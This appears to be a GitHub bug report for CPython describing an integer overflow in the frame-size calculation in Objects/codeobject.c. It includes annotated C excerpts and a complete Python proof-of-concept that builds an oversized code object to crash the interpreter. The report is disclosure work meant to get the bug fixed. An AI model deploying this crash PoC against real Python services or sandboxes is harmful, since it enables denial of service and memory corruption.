-
-
Notifications
You must be signed in to change notification settings - Fork 33.6k
Description
Bug report
Bug description:
Description
The root cause is the lack of overflow checking when calculating the co_framesize (line 550: co->co_framesize = nlocalsplus + con->stacksize + FRAME_SPECIALS_SIZE;). Supplying large values for nlocals and stacksize causes the sum to exceed INT_MAX, resulting in the signed integer wrapping around to a negative value. This corrupted, negative size is subsequently passed to the frame allocation routines, where it is misinterpreted as a massive unsigned size_t. This ultimately leads to pointer corruption, incorrect memory allocation, out-of-bounds memory access, and interpreter instability (a crash), making this a critical stability and correctness bug that needs immediate addressing through explicit overflow validation.
Affected Code
File: Objects/codeobject.c
Function: init_code()
Line: 550
co->co_framesize = nlocalsplus + con->stacksize + FRAME_SPECIALS_SIZE;
Problem: This addition is performed without overflow checking. When the sum exceeds INT_MAX (2,147,483,647), it wraps around to a negative or small positive value.
Root Cause Analysis
The vulnerability occurs in three steps:
1. Integer Overflow in Frame Size Calculation:
// Objects/codeobject.c:550
co->co_framesize = nlocalsplus + con->stacksize + FRAME_SPECIALS_SIZE;
// 50,000 + 2,147,433,647 + 4
// = 2,147,483,651
// Result exceeds INT_MAX (2,147,483,647)
// Integer wraps around to: -2,147,483,6452. Pointer Corruption in Frame Allocation:
// Python/ceval.c:1870 - Passes negative co_framesize
_PyInterpreterFrame *frame = _PyThreadState_PushFrame(tstate, code->co_framesize);
// Python/pystate.c:2968 - Frame allocation with corrupted size
_PyInterpreterFrame *
_PyThreadState_PushFrame(PyThreadState *tstate, size_t size)
{
// size = -2147483645 (negative integer cast to size_t)
// When cast to size_t (unsigned), becomes huge value!
if (_PyThreadState_HasStackSpace(tstate, (int)size)) {
_PyInterpreterFrame *res = tstate->datastack_top;
tstate->datastack_top += size; // ← WRONG POINTER ARITHMETIC
// negative/huge value corrupts pointer
return res;
}
// ...
}3. Out-of-Bounds Memory Access:
// Python/ceval.c - Bytecode execution with corrupted frame pointer
// Code object expects 50,000 locals, but frame pointer is at WRONG location
_PyFrame_Initialize(tstate, frame, func, locals, code, 0, previous);
// Bytecode attempts to access locals:
frame->localsplus[0...50000] = values; // ← OUT-OF-BOUNDS ACCESS
// Frame pointer is corrupted, writing outside allocated memory
// → SIGSEGV/SIGBUS → CRASH!The _PyCode_Validate() function checks many parameters but does NOT validate frame size overflow:
static int
_PyCode_Validate(struct _PyCodeConstructor *con)
{
// Checks nlocals, stacksize individually
// BUT: Does NOT check if (nlocals + stacksize + FRAME_SPECIALS_SIZE) overflows
if (con->stacksize < 0 || con->stacksize > MAX_STACK_SIZE) {
return -1; // Individual check only
}
// Missing: overflow check for SUM
}Proof of Concept:
#!/usr/bin/env python3
"""
Integer Overflow in CPython Code Object
"""
import sys
import types
def main():
print("="*70)
print("Integer Overflow PoC")
print("="*70)
print(f"\nPython Version: {sys.version}")
print(f"Platform: {sys.platform}\n")
# Values that trigger integer overflow
nlocals = 50000
stacksize = 2147433647 # Close to INT_MAX
print(f"[*] Creating malicious code object:")
print(f" nlocals = {nlocals:,}")
print(f" stacksize = {stacksize:,}")
print(f" Expected framesize = {nlocals + stacksize + 4:,}")
print(f" INT_MAX = {2**31-1:,}")
print(f"\n[!] Sum exceeds INT_MAX → Integer Overflow!\n")
# Create malicious code object
code = types.CodeType(
0, # argcount
0, # posonlyargcount
0, # kwonlyargcount
nlocals, # nlocals (oversized)
stacksize, # stacksize (near INT_MAX)
0, # flags
bytes([0x64, 0x00, 0x53, 0x00]), # codestring (LOAD_CONST 0, RETURN_VALUE)
(None,), # constants
(), # names
tuple(f'local{i}' for i in range(nlocals)), # varnames
'<exploit>', # filename
'<exploit>', # name
'<exploit>', # qualname
1, # firstlineno
b'', # linetable
b'', # exceptiontable (bytes, not tuple!)
(), # freevars
() # cellvars
)
print("[+] Code object created successfully (overflow NOT detected!)")
print(f"[*] co_nlocals: {code.co_nlocals}")
print(f"[*] co_stacksize: {code.co_stacksize}")
print(f"\n[!] Executing code object...")
print("[!] Expected: CRASH (SIGBUS/SIGSEGV)\n")
# Trigger the crash
func = types.FunctionType(code, {})
result = func() # ← CRASH HERE
print("[!] ERROR: Should have crashed but didn't!")
return 1
if __name__ == '__main__':
sys.exit(main())CPython versions tested on:
3.13
Operating systems tested on:
Linux, macOS